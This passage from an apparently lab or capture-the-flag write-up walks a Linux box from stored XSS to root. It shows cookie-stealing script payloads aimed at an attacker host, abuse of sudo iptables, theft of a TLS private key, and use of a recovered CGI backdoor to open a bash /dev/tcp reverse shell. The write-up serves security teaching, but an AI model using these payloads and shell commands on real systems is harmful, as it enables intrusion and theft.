  rm -f "&lt;/span&gt;&lt;span class="nv"&gt;$jar&lt;/span&gt;&lt;span class="sh"&gt;"
  echo "Cleaned: &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="sh"&gt;"
}
delete_comments "test" "test"
# ... one call per throwaway account used above
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;bash clean_up.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cleaned: test
Cleaned: &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
Cleaned: &amp;lt;script&amp;gt;document.location="http://&amp;lt;ATTACKER_IP&amp;gt;:4444/?c=" document.cookie&amp;lt;/script&amp;gt;
Cleaned: &amp;lt;script src=http://&amp;lt;ATTACKER_IP&amp;gt;:8000/steal.js&amp;gt;&amp;lt;/script&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;/blog.php | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'Name: [^&amp;lt;]*'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Board's clean, only the original admin comment remains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial Access - SSH as jack
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh jack@&amp;lt;MACHINE_IP&amp;gt;
jack@&amp;lt;MACHINE_IP&amp;gt;&lt;span class="s1"&gt;'s password: WhyIsMyPasswordSoStrongIDK
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-159-generic x86_64)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jack
uid=1001(jack) gid=1001(jack) groups=1001(jack)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege Escalation Path - jack → www-data → root
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: sudo iptables abuse
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[sudo] password for jack:
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked current rules - an explicit &lt;code&gt;DROP&lt;/code&gt; on a high port stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/sbin/iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;--line-numbers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1       92  5520 DROP       tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:41312
2    15081 1708K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
3     227K   34M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate NEW,RELATED,ESTABLISHED
4        0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22
5       21   840 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80
6        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8
7        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 0
8       63  3700 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT 15173 packets, 1713K bytes)
num   pkts bytes target     prot opt in     out     source               destination
1     232K  104M ACCEPT     all  --  *      eth0    0.0.0.0/0            0.0.0.0/0
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iptables&lt;/code&gt; doesn't let you exfiltrate files directly, but it &lt;em&gt;does&lt;/em&gt; let you rewrite firewall policy. Flushed the rules and opened everything up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/sbin/iptables &lt;span class="nt"&gt;-F&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/sbin/iptables &lt;span class="nt"&gt;-P&lt;/span&gt; INPUT ACCEPT
&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/sbin/iptables &lt;span class="nt"&gt;-P&lt;/span&gt; OUTPUT ACCEPT
&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/sbin/iptables &lt;span class="nt"&gt;-P&lt;/span&gt; FORWARD ACCEPT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port &lt;code&gt;41312&lt;/code&gt; was now reachable - it turned out to be a second, TLS-wrapped Apache vhost:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:41312/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reason: You're speaking plain HTTP to an SSL-enabled server port.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-k&lt;/span&gt; https://&amp;lt;MACHINE_IP&amp;gt;:41312/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;403 Forbidden&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;address&amp;gt;&lt;/span&gt;Apache/2.4.41 (Ubuntu) Server at &lt;span class="nt"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt; Port 41312&lt;span class="nt"&gt;&amp;lt;/address&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: recovering the hidden webshell from a leftover pcap
&lt;/h3&gt;

&lt;p&gt;A note in &lt;code&gt;/opt/urgent.txt&lt;/code&gt; (root-owned, world-readable) described the situation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/urgent.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/usr/lib/cgi-bin/&lt;/code&gt; was root-protected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/lib/cgi-bin/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ls: cannot open directory '/usr/lib/cgi-bin/': Permission denied
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But &lt;code&gt;/opt/capture.pcap&lt;/code&gt; was readable. Pulled it over with a quick Python web server + &lt;code&gt;wget&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on target:&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /opt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on attacker box:&lt;/span&gt;
wget http://&amp;lt;MACHINE_IP&amp;gt;:8000/capture.pcap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;2026-08-10 06:55:29 (334 KB/s) - 'capture.pcap' saved [27247/27247]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked for the TLS private key so the captured TLS session on port 41312 could be decrypted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.key'&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/apache2/certs/apache.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on target:&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/apache2/certs/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on attacker box:&lt;/span&gt;
wget http://&amp;lt;MACHINE_IP&amp;gt;:8000/apache.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;2026-08-10 07:00:57 (413 MB/s) - 'apache.key' saved [3272/3272]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loaded the key into tshark and inspected traffic to the unusual port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport 2&amp;gt;/dev/null | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.133.71.33    10.13.64.69     41312
10.13.64.69     10.133.71.33    39802
10.13.64.69     10.133.71.33    43316
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"tls"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;4   0.002449 10.133.71.33 → 10.13.64.69  TLSv1.2 583 Client Hello
6   0.003286  10.13.64.69 → 10.133.71.33 TLSv1.2 1650 Server Hello, Certificate, Server Hello Done
&lt;/span&gt;&lt;span class="c"&gt;...
&lt;/span&gt;&lt;span class="go"&gt;25   5.006106 10.133.71.33 → 10.13.64.69  HTTP 567 GET / HTTP/1.1
27   5.007024  10.13.64.69 → 10.133.71.33 HTTP 615 HTTP/1.1 403 Forbidden  (text/html)
48  22.158876 10.133.71.33 → 10.13.64.69  HTTP 583 GET /cgi-bin/5UP3r53Cr37.py HTTP/1.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decrypted the HTTP layer using the recovered key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"tls.keys_list:&amp;lt;MACHINE_IP&amp;gt;,41312,http,apache.key"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="nt"&gt;-e&lt;/span&gt; http.response.code 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.method &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri.query &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; http.file_data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET     /cgi-bin/5UP3r53Cr37.py
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;amp;iv=VZukhsCo8TlTXORN&amp;amp;cmd=id
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;amp;iv=VZukhsCo8TlTXORN&amp;amp;cmd=ls%20-al
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hex-decoding the &lt;code&gt;http.file_data&lt;/code&gt; for the &lt;code&gt;cmd=id&lt;/code&gt; request gives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reveals a CGI backdoor at &lt;code&gt;/cgi-bin/5UP3r53Cr37.py&lt;/code&gt; that takes &lt;code&gt;cmd=&lt;/code&gt; plus a static &lt;code&gt;key&lt;/code&gt;/&lt;code&gt;iv&lt;/code&gt; pair for its symmetric-encryption scheme.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: RCE via the recovered webshell
&lt;/h3&gt;

&lt;p&gt;With the port now open (iptables flush) and the key/IV in hand, the backdoor was directly usable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="s2"&gt;"https://&amp;lt;MACHINE_IP&amp;gt;:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;amp;iv=VZukhsCo8TlTXORN&amp;amp;cmd=ls"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;5UP3r53Cr37.py
&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="s2"&gt;"https://&amp;lt;MACHINE_IP&amp;gt;:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;amp;iv=VZukhsCo8TlTXORN&amp;amp;cmd=id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed and escalated to a full reverse shell via the same parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="s2"&gt;"https://&amp;lt;MACHINE_IP&amp;gt;:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&amp;amp;iv=VZukhsCo8TlTXORN&amp;amp;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"cmd=bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4443 0&amp;gt;&amp;amp;1'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caught with &lt;code&gt;penelope&lt;/code&gt; on the attacker box, auto-upgraded to a PTY:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4443 listen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[+] Listening for reverse shells on 0.0.0.0:4443
&lt;/span&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ubuntu &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 www-data&lt;span class="o"&gt;(&lt;/span&gt;33&lt;span class="o"&gt;)&lt;/span&gt; Session ID &amp;lt;1&amp;gt;
&lt;span class="go"&gt;[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data
uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
h4ck3d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4: trivial root via NOPASSWD sudo
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /root &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bot.py  root.txt  snap  ssh.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Anonymous FTP with informational hint file&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;vsftpd&lt;/code&gt; (port 21)&lt;/td&gt;
&lt;td&gt;Discloses existence/path of a "protected" secrets file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Unsanitized username field (comment field itself was actually encoded)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;register.php&lt;/code&gt; → rendered in &lt;code&gt;blog.php&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Blind stored XSS against an internal admin review bot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Server-side trust boundary based on &lt;code&gt;127.0.0.1&lt;/code&gt; source IP&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/dir/pass.txt&lt;/code&gt; access rule&lt;/td&gt;
&lt;td&gt;Bypassed via SSRF-style XSS - bot's browser &lt;em&gt;is&lt;/em&gt; localhost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Overly broad &lt;code&gt;sudo&lt;/code&gt; grant on &lt;code&gt;iptables&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;jack&lt;/code&gt;'s sudoers entry&lt;/td&gt;
&lt;td&gt;Firewall policy fully attacker-controlled → port unblocking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Sensitive pcap + TLS private key left world/owner-readable&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/opt/capture.pcap&lt;/code&gt;, &lt;code&gt;/etc/apache2/certs/apache.key&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Enables full decryption of prior attacker/backdoor traffic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Undocumented CGI backdoor with static (recoverable) key/IV&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/lib/cgi-bin/5UP3r53Cr37.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Direct unauthenticated RCE as &lt;code&gt;www-data&lt;/code&gt; once reachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Blanket &lt;code&gt;NOPASSWD: ALL&lt;/code&gt; sudo for &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;sudoers&lt;/td&gt;
&lt;td&gt;Instant root from a low-privilege web user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Lessons / Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Localhost-only" is not a trust boundary if anything with network access can render your page for you.&lt;/strong&gt; An XSS that executes in an admin/bot context effectively runs &lt;em&gt;as&lt;/em&gt; that host - including its &lt;code&gt;127.0.0.1&lt;/code&gt; view of the world. Treat SSRF-via-XSS as first-class when a review bot exists.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test every input field independently.&lt;/strong&gt; The comment field here was properly encoded, but the username field (rendered in the same location) was not - a filter on one field doesn't imply coverage everywhere the same data model touches output.&lt;/li&gt;
&lt;li&gt;
